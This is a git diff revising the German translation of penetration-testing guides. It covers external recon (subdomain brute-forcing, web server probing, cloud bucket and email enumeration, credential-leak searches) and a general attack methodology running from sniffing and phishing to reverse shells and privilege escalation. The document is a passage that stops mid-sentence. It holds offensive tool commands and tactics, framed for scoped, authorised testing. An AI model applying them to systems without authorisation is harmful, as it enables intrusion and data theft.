+* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber im Wesentlichen werden die **Hauptteile** der **entdeckten Subdomains** extrahiert und gemischt, um mehr Subdomains zu finden. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie z.B. eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-geführten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern. ``` echo www | subzuf facebook.com ``` ### **Subdomain Discovery Workflow** -Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **automatische Entdeckung von Subdomains** von einer Domain mithilfe von **Trickest-Workflows** durchführen können, sodass ich nicht manuell eine Vielzahl von Tools auf meinem Computer starten muss: +Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **Subdomain-Entdeckung automatisieren** können, indem Sie **Trickest-Workflows** verwenden, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -431,7 +428,7 @@ Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von #### OSINT -Sie können einige **VHosts in IPs mit** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder anderen APIs finden**. +Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder andere APIs verwenden**. **Brute Force** @@ -459,10 +456,10 @@ Manchmal finden Sie Seiten, die nur den Header _**Access-Control-Allow-Origin**_ ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -### **Eimer-Brute-Force** +### **Eimer Brute Force** -Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Eimer** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Eimernamen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/). +Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Bucket** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Bucket-Namen per Brute Force zu ermitteln und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/). ### **Überwachung** @@ -471,14 +468,14 @@ Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden ### **Suche nach Schwachstellen** Überprüfen Sie mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -Wenn die **Subdomain** auf einen **S3-Eimer** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/). +Wenn die **Subdomain** auf einen **S3-Bucket** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/). -Wenn Sie eine **Subdomain mit einer anderen IP** als denjenigen gefunden haben, die Sie bereits bei der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\ +Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits gefundenen Assets finden, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nach den ausgeführten Diensten finden Sie in **diesem Buch einige Tricks, um sie "anzugreifen"**.\ _Beachten Sie, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._ ## IPs -In den ersten Schritten haben Sie möglicherweise **einige IP-Bereiche, Domains und Subdomains gefunden**.\ +In den ersten Schritten haben Sie möglicherweise **IP-Bereiche, Domains und Subdomains gefunden**.\ Es ist an der Zeit, **alle IPs aus diesen Bereichen zu sammeln** und für die **Domains/Subdomains (DNS-Abfragen)**. Mit Diensten der folgenden **kostenlosen APIs** können Sie auch **frühere IPs finden, die von Domains und Subdomains verwendet wurden**. Diese IPs könnten immer noch im Besitz des Kunden sein (und könnten es Ihnen ermöglichen, [**CloudFlare-Bypasses zu finden**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) @@ -497,47 +494,47 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse verweise > Wir haben alle Unternehmen und ihre Assets gefunden und kennen die IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen. -In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zum Suchen von Webservern** im Scope sehen. +In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen. Bitte beachten Sie, dass dies auf die **Entdeckung von Webanwendungen ausgerichtet sein wird**, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**falls im Scope erlaubt**). -Eine **schnelle Methode** zum Entdecken von **offenen Ports** im Zusammenhang mit **Web**-Servern mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\ -Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen: +Eine **schnelle Methode** zur Entdeckung von **offenen Ports** im Zusammenhang mit **Webservern** mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\ +Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **Screenshots** -Nachdem du **alle Webserver** im Umfang entdeckt hast (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), weißt du wahrscheinlich **nicht, wo du anfangen sollst**. Also lass es uns einfach machen und fange damit an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** kannst du **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind. +Nachdem Sie **alle Webserver** im Umfang entdeckt haben (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Also, machen wir es einfach und fangen einfach an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind. -Um die vorgeschlagene Idee umzusetzen, kannst du [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden. +Um die vorgeschlagene Idee umzusetzen, können Sie [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden. -Darüber hinaus könntest du dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und dir zu sagen, **was wahrscheinlich Schwachstellen enthält** und was nicht. +Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und Ihnen mitzuteilen, **was wahrscheinlich Schwachstellen enthält** und was nicht. ## Öffentliche Cloud-Ressourcen -Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, solltest du mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren. Zum Beispiel könntest du für ein Krypto-Unternehmen Wörter wie: `"crypto", "wallet", "dao", "", <"subdomain_names">` verwenden. +Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, sollten Sie mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren. Zum Beispiel könnten Sie für ein Krypto-Unternehmen Wörter wie: `"crypto", "wallet", "dao", "", <"subdomain_names">` verwenden. -Du benötigst auch Wortlisten von **üblichen Wörtern, die in Buckets verwendet werden**: +Sie benötigen auch Wortlisten von **üblichen Wörtern, die in Buckets verwendet werden**: * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Dann solltest du mit diesen Wörtern **Permutationen generieren** (siehe die [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) für weitere Informationen). +Dann sollten Sie mit diesen Wörtern **Permutationen generieren** (überprüfen Sie die [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) für weitere Informationen). -Mit den resultierenden Wortlisten könntest du Tools wie [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** verwenden. +Mit den resultierenden Wortlisten könnten Sie Tools wie [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** verwenden. -Denke daran, dass du bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen solltest. +Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen sollten. ### **Suche nach Schwachstellen** -Wenn du Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** findest, solltest du **auf sie zugreifen** und versuchen zu sehen, was sie dir bieten und ob du sie missbrauchen kannst. +Wenn Sie auf Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** stoßen, sollten Sie **darauf zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie missbrauchen können. ## E-Mails -Mit den **Domains** und **Subdomains** im Umfang hast du im Grunde alles, was du brauchst, um nach E-Mails zu suchen. Dies sind die **APIs** und **Tools**, die für mich am besten funktioniert haben, um E-Mails eines Unternehmens zu finden: +Mit den **Domains** und **Subdomains** im Umfang haben Sie im Grunde alles, was Sie brauchen, um nach E-Mails zu suchen. Dies sind die **APIs** und **Tools**, die für mich am besten funktioniert haben, um E-Mails eines Unternehmens zu finden: * [**theHarvester**](https://github.com/laramies/theHarvester) - mit APIs * API von [**https://hunter.io/**](https://hunter.io/) (kostenlose Version) @@ -546,18 +543,18 @@ Mit den **Domains** und **Subdomains** im Umfang hast du im Grunde alles, was du ### **Suche nach Schwachstellen** -E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben dir diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist. +E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist. ## Zugangsdaten-Leaks -Mit den **Domains**, **Subdomains** und **E-Mails** kannst du damit beginnen, nach in der Vergangenheit geleakten Zugangsdaten zu suchen, die diesen E-Mails gehören: +Mit den **Domains**, **Subdomains** und **E-Mails** können Sie damit beginnen, nach in der Vergangenheit geleakten Zugangsdaten zu suchen, die diesen E-Mails gehören: * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) ### **Suche nach Schwachstellen** -Wenn du **gültige geleakte** Zugangsdaten findest, ist dies ein sehr einfacher Gewinn. +Wenn Sie **gültige geleakte** Zugangsdaten finden, ist dies ein sehr einfacher Gewinn. ## Geheimnis-Leaks @@ -566,13 +563,13 @@ Zugangsdaten-Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen * ### Github-Leaks Zugangsdaten und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer** geleakt werden, die für dieses Github-Unternehmen arbeiten.\ -Du kannst das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber laufen zu lassen. +Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber laufen zu lassen. **Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **übergebenen URLs** auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**. #### Github-Dorks -Überprüfe auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen du in der angegriffenen Organisation suchen könntest: +Überprüfen Sie auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen Sie in der angegriffenen Organisation suchen könnten: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -580,37 +577,37 @@ Du kannst das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwe ### Pastes-Leaks -Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\ -Du kannst das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen. +Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte sensible Informationen enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\ +Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen. ### Google-Dorks -Alte, aber bewährte Google-Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **Tausende** möglicher Abfragen enthält, die du nicht manuell ausführen kannst. Du könntest also deine Lieblings-10 auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**. +Alte, aber bewährte Google-Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **Tausende** möglicher Abfragen enthält, die Sie nicht manuell ausführen können. Sie können also Ihre Lieblings-10 auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**. -_Beachte, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google dich sehr bald blockieren wird._ +_Beachten Sie, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google Sie sehr bald blockieren wird._ ### **Suche nach Schwachstellen** -Wenn du **gültige geleakte** Zugangsdaten oder API-Token findest, ist dies ein sehr einfacher Gewinn. +Wenn Sie **gültige geleakte** Zugangsdaten oder API-Token finden, ist dies ein sehr einfacher Gewinn. ## Öffentliche Code-Schwachstellen -Wenn du feststellst, dass das Unternehmen **Open-Source-Code** hat, kannst du diesen **analysieren** und nach **Schwachstellen** suchen. +Wenn Sie feststellen, dass das Unternehmen **Open-Source-Code** hat, können Sie diesen **analysieren** und nach **Schwachstellen** suchen. -Je nach Sprache gibt es verschiedene **Tools**, die du verwenden kannst: +Je nach Sprache gibt es verschiedene **Tools**, die Sie verwenden können: {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -Es gibt auch kostenlose Dienste, die es dir ermöglichen, **öffentliche Repositories zu scannen**, wie: +Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repositories zu scannen**, wie: * [**Snyk**](https://app.snyk.io/) ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) Die **Mehrheit der Schwachstellen**, die von Bug Bounty Jägern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Webanwendungstestmethodik** sprechen, die Sie [**hier finden können**](../../network-services-pentesting/pentesting-web/). -Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen zu implementieren**. +Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen** zu implementieren. ## Zusammenfassung @@ -623,14 +620,14 @@ Sie haben also bereits: 3. Alle **Domains**, die den Unternehmen gehören 4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?) 5. Alle **IPs** (von und **nicht von CDNs**) im Scope gefunden. -6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das genauer betrachtet werden sollte?) -7. Alle **potenziellen öffentlichen Cloud-Ressourcen**, die dem Unternehmen gehören. +6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?) +7. Alle **potenziellen öffentlichen Cloud-Assets** des Unternehmens gefunden. 8. **E-Mails**, **Zugangsdaten-Leaks** und **Geheimnis-Leaks**, die Ihnen einen **großen Gewinn sehr einfach** ermöglichen könnten. 9. **Pentesting aller von Ihnen gefundenen Websites** ## **Vollständige Recon-Automatisierungstools** -Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen. +Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen werden. * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) @@ -641,7 +638,7 @@ Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen b * Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 1c60c5f6e..1f123a095 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,7 +2,7 @@
-Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: @@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
-
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). @@ -41,11 +41,11 @@ Beachten Sie, dass bei einem externen Test, sobald Sie Zugriff auf das interne N ### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)** **Dieser Abschnitt gilt nur, wenn Sie einen internen Test durchführen.**\ -Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten sniffen**, um passiv/aktiv (MitM) zu lernen, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen. +Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten** **mitschneiden**, um passiv/aktiv (MitM) herauszufinden, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen. ### 3- [Port-Scan - Service-Erkennung](pentesting-network/#scanning-hosts) -Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) an. +Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Host-Ports**](pentesting-network/#scanning-hosts) an. ### **4-** [Suche nach Service-Version-Exploits](search-exploits.md) @@ -53,9 +53,9 @@ Sobald Sie wissen, welche Dienste ausgeführt werden, und vielleicht deren Versi ### **5-** Pentesting-Services -Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, sollten Sie nach **üblichen Fehlkonfigurationen in jedem laufenden Dienst suchen**. +Wenn es keinen ausgefallenen Exploit für einen ausgeführten Dienst gibt, sollten Sie nach **allgemeinen Fehlkonfigurationen in jedem ausgeführten Dienst suchen**. -**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig sind)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet). +**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig vorkommen)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet). **Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\ Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachstellen in Software finden**](search-exploits.md). @@ -64,7 +64,7 @@ Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachst #### 5.1 Automatische Tools -Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde Ihnen empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.** +Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das Tool, das ich erstellt habe und das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.** #### **5.2 Brute-Force von Diensten** @@ -72,11 +72,11 @@ In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dien ### 6- [Phishing](phishing-methodology/) -Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben, **müssen Sie möglicherweise einige Phishing-Versuche unternehmen**, um ins Netzwerk einzudringen. Sie können meine Phishing-Methodik [hier](phishing-methodology/) lesen: +Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben, **müssen Sie möglicherweise einige Phishing-Versuche unternehmen**, um ins Netzwerk zu gelangen. Sie können meine Phishing-Methodik [hier](phishing-methodology/) lesen: ### **7-** [**Shell erhalten**](shells/) -Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich](shells/). +Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich. Insbesondere bei Windows könnten Sie Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfen Sie diese Seite**](../windows-hardening/av-bypass.md)**.**\\ @@ -90,13 +90,13 @@ Wenn Sie Probleme mit der Shell haben, finden Sie hier eine kleine **Zusammenste ### **9 -** [**Exfiltration**](exfiltration.md) -Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier haben Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.** +Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier finden Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.** ### **10- Privilege Escalation** -#### **10.1- Lokale Privilege-Eskalation** +#### **10.1- Lokale Berechtigungserweiterung** -Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu eskalieren.**\ -Hier finden Sie eine **Anleitung zur lokalen Privilege-Eskalation in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu erweitern.**\ +Hier finden Sie eine **Anleitung zur lokalen Berechtigungserweiterung in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprüfen: * [**Authentifizierung, Anmeldeinformationen, Token-Berechtigungen und UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) @@ -104,11 +104,11 @@ Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprü * Wie man Anmeldeinformationen in Windows [**stiehlt**](broken-reference/) * Einige Tricks zu [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Privilege-Eskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Berechtigungserweiterung zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domänen-Privilege-Eskalation** +#### **10.2- Domänenberechtigungserweiterung** -Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Eskalation von Berechtigungen und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein. +Hier finden Sie eine [**Methodik, die 